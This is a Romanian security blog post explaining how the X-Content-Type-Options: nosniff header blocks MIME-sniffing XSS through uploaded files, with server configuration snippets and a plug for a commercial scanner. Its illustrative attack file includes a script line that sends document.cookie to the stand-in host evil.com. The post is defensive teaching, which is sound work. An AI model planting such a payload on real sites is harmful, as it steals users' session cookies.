X-Content-Type-Options nosniff: anti-MIME sniffing pentru aplicațiile voastre web
MIME sniffing permite browserelor să interpreteze fișiere greșit, deschizând calea XSS prin upload-uri. Un singur header HTTP elimină vectorul.
Pe scurt
Browserele istorice (în special Internet Explorer) făceau MIME-sniffing: dacă Content-Type declarat de server nu corespundea conținutului real, browserul deducea tipul. Comportamentul a fost util pentru compatibilitate (servere prost configurate care setau toate ca text/plain) — dar a deschis o categorie de atacuri unde fișiere uploade legitim erau interpretate ca cod executabil.
Header-ul X-Content-Type-Options: nosniff instruiește browserul să respecte strict Content-Type-ul declarat. E un fix simplu, low-effort, de aplicat universal. Fără excepții.
Atacul concret: XSS prin upload de profile picture
Site-ul vostru permite upload de profile picture. User-ul “atacator” trimite un fișier:
- Numele:
evil.jpg - Header server:
Content-Type: image/jpeg - Conținut real:
<script>fetch('https://evil.com/?c='+document.cookie)</script>
Browser modern fără MIME sniffing → respectă image/jpeg, încearcă să-l decodeze ca imagine, eșuează, gata.
Browser vechi (Internet Explorer) sau orice browser fără nosniff → “uite, conținutul arată ca HTML, hai să-l interpretez ca HTML” → execută script-ul în domeniul vostru → XSS stocat cu drepturile altor utilizatori care vizualizează poza.
Anatomia atacului — și cum nosniff îl blochează
Fără X-Content-Type-Options:
- User normal vizitează profilul atacatorului
- Browser face GET la
/profile-pics/evil.jpg - Server răspunde
Content-Type: image/jpeg+ conținut HTML - Browser detectează că nu-i imagine validă → încearcă inferență → găsește
<script>→ interpretează ca HTML - Script rulează în origin-ul site-ului vostru → XSS stocat
Cu X-Content-Type-Options: nosniff:
- Browser primește
Content-Type: image/jpeg - Conținutul nu se decodează ca imagine → afișează imagine ruptă
- Niciun cod executat → atac eșuează
Implementare pas-cu-pas
Pas 1 — Setare la nivel server (recomandat universal)
nginx:
add_header X-Content-Type-Options "nosniff" always;
Apache:
Header always set X-Content-Type-Options "nosniff"
Caddy: automat în 2026 — sau explicit:
header X-Content-Type-Options nosniff
Express (Node.js) cu Helmet:
const helmet = require('helmet');
app.use(helmet.noSniff());
Cloudflare Workers / Edge:
response.headers.set('X-Content-Type-Options', 'nosniff');
Pas 2 — Verificare
curl -I https://firma.ro | grep -i x-content-type
Răspuns așteptat:
X-Content-Type-Options: nosniff
Pas 3 — Aplicare la API endpoints
API-urile JSON sunt și ele vulnerabile dacă nu setați content-type corect. Combinați:
Content-Type: application/json; charset=utf-8X-Content-Type-Options: nosniff
Verificați și fixurile complementare
nosniff nu rezolvă singur problemele de upload securizat. Best practice complete:
- Validare server-side a fișierelor — magic bytes verification (nu doar extensie)
- Storage separat — fișierele utilizatorilor pe domeniu/subdomain separat (
uploads.firma.rovsfirma.ro) pentru izolare origin - Content-Disposition: attachment pentru fișiere care nu trebuie afișate inline
- Permissions-Policy restrictivă
Combinația nosniff + storage izolat + validare = protecție straight-forward.
Confuzii frecvente
“nosniff îmi rupe site-ul.” — Practic niciodată. Singurul scenariu: dacă serverul vostru returnează Content-Type: text/plain pentru fișiere .css sau .js (greșit configurat) — browserul le va refuza ca CSS/JS. Soluția = fix server config, nu skip nosniff.
“E suficient Content-Type corect, fără nosniff.” — Edge cases multe (proxy-uri care strip headers, browsere vechi, configurări diverse). nosniff e cheap insurance.
“Nu am form-uri de upload, deci nu mă afectează.” — Upload-urile sunt vectorul cel mai vizibil, dar nu singurul. Orice endpoint care întoarce date controlate de utilizator (comments API, file viewer, etc.) e potential vulnerable.
Verificați acum
ARTEMIS detectează lipsa X-Content-Type-Options: nosniff în orice scanare Site (2 EUR) — împreună cu CSP, HSTS, X-Frame, Referrer-Policy și 30+ alte verificări.
🔗 Soluții complementare CAI Technology
- ARTEMIS — Audit headers de securitate complet + 36 alte teste.
- Auditope — Audit holistic web (SEO + AI search + Performance + WCAG + GDPR).
- Lexnomia — Evaluare conformitate UE.
- BeLegal — Verificare gratuită 5 minute compliance UE.
- AriaUnited — Consultanță fonduri europene pentru investiții cybersecurity.